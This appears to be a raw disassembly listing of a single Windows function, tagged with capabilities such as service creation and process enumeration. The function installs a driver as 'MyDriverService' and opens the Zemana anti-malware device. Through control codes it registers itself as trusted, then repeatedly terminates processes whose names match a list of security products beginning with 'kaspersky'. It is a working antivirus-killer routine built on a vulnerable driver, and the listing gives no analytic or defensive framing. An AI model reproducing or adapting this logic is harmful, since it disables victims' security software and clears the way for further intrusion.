Function at 0x140001070
Capabilities:
Create service
Enumerate processes
Query service status
Start service

Disassembly:
push rbp
push rsi
push r12
push r14
lea rbp, [rsp - 0x558]
sub rsp, 0x658
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x540], rax
lea rdx, [rbp + 0x1e0]
lea rcx, str.driver.sys
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp rax, 0xffffffffffffffff
je 0x1400014a6
xor r9d, r9d
lea r8, [rbp + 0x320]
mov edx, 0x104
lea rcx, [rbp + 0x20c]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x140001495
mov qword [rsp + 0x680], rbx
lea rdx, [rbp + 0x320]
mov qword [rsp + 0x688], rdi
lea rcx, str.Driver_path:__s_n
mov qword [rsp + 0x690], r13
call fcn.140001010
lea rdx, [rbp + 0x20c]
lea rcx, str.Loading_driver:__s_n
call fcn.140001010
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbx, rax
test rax, rax
je 0x140001193
mov r8d, 0xf01ff
lea rdx, str.MyDriverService
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
xor r13d, r13d
mov rdi, rax
test rax, rax
je 0x1400011a4
lea rdx, [rbp - 0x80]
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
je 0x140001181
cmp dword [rbp - 0x7c], 1
jne 0x140001209
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x140001209
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, str.Failed_to_load_driver__please_run_as_administrator__n
call fcn.140001010
jmp 0x140001279
mov qword [rsp + 0x60], r13
lea rax, [rbp + 0x320]
mov qword [rsp + 0x58], r13
lea r8, str.MyDriverService
mov qword [rsp + 0x50], r13
lea rdx, str.MyDriverService
mov qword [rsp + 0x48], r13
mov r9d, 0xf01ff
mov qword [rsp + 0x40], r13
mov rcx, rbx
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], r13d
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rdi, rax
test rax, rax
jne 0x14000116b
jmp 0x14000118a
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea rcx, str.Driver_loaded_successfully__n
mov qword [rsp + 0x650], r15
call fcn.140001010
mov qword [rsp + 0x30], r13
lea rcx, str..ZemanaAntiMalware
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r15, rax
cmp rax, 0xffffffffffffffff
jne 0x1400012b3
lea rcx, str.Failed_to_open_handle_to_driver__n
call fcn.140001010
mov r15, qword [rsp + 0x650]
mov rdi, qword [rsp + 0x688]
mov r13, qword [rsp + 0x690]
mov rbx, qword [rsp + 0x680]
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x540]
xor rcx, rsp
call fcn.1400014d0
add rsp, 0x658
pop r14
pop r12
pop rsi
pop rbp
ret
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov qword [rsp + 0x38], r13
lea r8, [rsp + 0x74]
mov qword [rsp + 0x30], r13
mov r9d, 4
mov dword [rsp + 0x28], r13d
mov edx, 0x80002010
mov rcx, r15
mov qword [rsp + 0x20], r13
mov dword [rsp + 0x74], eax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140001308
lea rcx, str.Failed_to_register_process_in_trusted_list__n
call fcn.140001010
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140001271
lea rcx, str.Process_registered_in_trusted_list__n
call fcn.140001010
lea rcx, str.Scanning_and_terminating_blacklisted_processes..._n
call fcn.140001010
lea r12, [0x140003530]
nop word [rax + rax]
xor edx, edx
mov dword [rsp + 0x70], r13d
mov ecx, 2
mov dword [rsp + 0x7c], r13d
mov dword [rsp + 0x78], r13d
mov esi, r13d
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x140001485
lea rdx, [rbp - 0x60]
mov dword [rbp - 0x60], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140001468
nop dword [rax + rax]
mov r8d, 0x104
lea rdx, [rbp - 0x34]
lea rcx, [rbp + 0x430]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_wcstombs]
lea rcx, [rbp + 0x430]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strdup]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__strlwr]
lea rbx, str.kaspersky
nop word [rax + rax]
mov rdx, qword [rbx]
mov rcx, rdi
call qword [sym.imp.VCRUNTIME140.dll_strstr]
test rax, rax
jne 0x1400013e5
add rbx, 8
cmp rbx, r12
jl 0x1400013c0
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001453
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov eax, dword [rbp - 0x58]
lea r8, [rsp + 0x70]
mov dword [rsp + 0x70], eax
mov r9d, 4
mov qword [rsp + 0x38], r13
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
mov edx, 0x80002048
lea rax, [rsp + 0x7c]
mov dword [rsp + 0x28], 4
mov rcx, r15
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
lea rdx, [rbp - 0x34]
test eax, eax
jne 0x140001445
lea rcx, str.Failed_to_terminate_process:__ws_n
call fcn.140001010
jmp 0x140001453
lea rcx, str.Terminated_process:__ws_n
call fcn.140001010
inc esi
lea rdx, [rbp - 0x60]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001380
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x140001485
mov ecx, 0x2bc
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001330
mov ecx, 0x4b0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001330
lea rcx, str.Path_not_found__n
call fcn.140001010
jmp 0x140001291
lea rcx, str.Driver_not_found__n
call fcn.140001010
jmp 0x140001291